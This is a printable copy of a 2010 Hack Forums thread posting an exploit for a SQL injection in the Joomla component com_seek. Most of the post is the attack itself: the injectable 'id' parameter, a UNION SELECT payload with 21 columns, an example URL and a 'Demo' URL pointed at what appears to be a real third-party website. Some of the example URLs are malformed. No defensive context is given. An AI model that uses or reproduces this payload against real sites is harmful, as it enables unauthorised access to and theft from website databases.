Hack Forums
Joomla Component com_seek SQL Injection Vulnerability - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Keyloggers (https://hackforums.net/forumdisplay.php?fid=113)
+---- Thread: Joomla Component com_seek SQL Injection Vulnerability (/showthread.php?tid=319435)



Joomla Component com_seek SQL Injection Vulnerability - CyberKore - Mar 17, 2010

Code
=====================================================
Joomla Component com_seek SQL Injection Vulnerability
=====================================================

[~]######################################### InformatioN #############################################[~]

[~] Title     : Joomla Component com_seek SQL Injection
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com


[~]#########################################   ExploiT   #############################################[~]

[~] Vulnerable File :

http://127.0.0.1/http://www.wsa26.com/index.php?option=com_seek&task=list1&id=[SQL]

[~] ExploiT         :

-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

[~] Example         :

http://127.0.0.1/http://www.wsa26.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

[~] Demo            :

http://www.wsa26.com/index.php?option=com_seek&task=list1&id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--